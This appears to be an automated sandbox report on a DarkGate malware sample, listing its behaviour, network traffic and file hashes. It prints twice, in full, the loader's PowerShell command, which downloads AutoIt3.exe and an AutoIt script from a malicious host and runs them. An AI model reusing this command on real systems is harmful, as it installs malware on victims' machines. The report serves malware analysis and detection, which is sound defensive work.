Analysis Overview
SHA256
c49909f924e6ba5de54e3afa58c1653ef8e37fbcfee9a310941d38d17060bd4d
Threat Level: Known bad
The file 07112023_2239_060e45bf7b57d4.zip was found to be: Known bad.
Malicious Activity Summary
DarkGate
Downloads MZ/PE file
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-07 14:39
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-07 14:39
Reported
2023-11-07 14:43
Platform
win7-20231020-en
Max time kernel
118s
Max time network
134s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2516 wrote to memory of 2696 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2516 wrote to memory of 2696 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2516 wrote to memory of 2696 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"
Network
Files
memory/2696-4-0x000000001B280000-0x000000001B562000-memory.dmp
memory/2696-5-0x0000000001DE0000-0x0000000001DE8000-memory.dmp
memory/2696-6-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp
memory/2696-8-0x0000000002630000-0x00000000026B0000-memory.dmp
memory/2696-7-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp
memory/2696-9-0x0000000002630000-0x00000000026B0000-memory.dmp
memory/2696-10-0x0000000002630000-0x00000000026B0000-memory.dmp
memory/2696-11-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-07 14:39
Reported
2023-11-07 14:42
Platform
win10v2004-20231020-en
Max time kernel
156s
Max time network
158s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350690463-3549324357-1323838019-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 964 wrote to memory of 1848 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 964 wrote to memory of 1848 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1848 wrote to memory of 2160 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 1848 wrote to memory of 2160 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 1848 wrote to memory of 2160 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" hujidbbn.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8sjimonstersboonkonline.com | udp |
| US | 82.117.253.136:2351 | 8sjimonstersboonkonline.com | tcp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.253.117.82.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 8.8.8.8:53 | 198.1.85.104.in-addr.arpa | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| US | 82.117.253.136:2351 | 8sjimonstersboonkonline.com | tcp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.252.72.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 163.252.72.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 23.173.189.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_anzvfed2.a3q.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1848-5-0x000001F56ABD0000-0x000001F56ABF2000-memory.dmp
memory/1848-10-0x00007FFAF6430000-0x00007FFAF6EF1000-memory.dmp
memory/1848-11-0x000001F568A20000-0x000001F568A30000-memory.dmp
memory/1848-12-0x000001F568A20000-0x000001F568A30000-memory.dmp
memory/1848-13-0x000001F568A20000-0x000001F568A30000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/1848-27-0x00007FFAF6430000-0x00007FFAF6EF1000-memory.dmp
C:\tepp\hujidbbn.au3
| MD5 | 305a14601aa52a85993c77549c330e43 |
| SHA1 | aa4998fc5deaba2d7a32b188d942fded94182e2b |
| SHA256 | 8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce |
| SHA512 | 65f2201f003ba2dfa01d3a793c7f58d4ee711f02b8e849081b9325a61b7e04df5708ddf153be74ebf8a48df5ca7c70b68285925786ababb748b669ed994143ff |
memory/2160-30-0x0000000001490000-0x0000000001890000-memory.dmp
memory/2160-31-0x0000000004520000-0x00000000046B5000-memory.dmp
memory/2160-32-0x0000000004520000-0x00000000046B5000-memory.dmp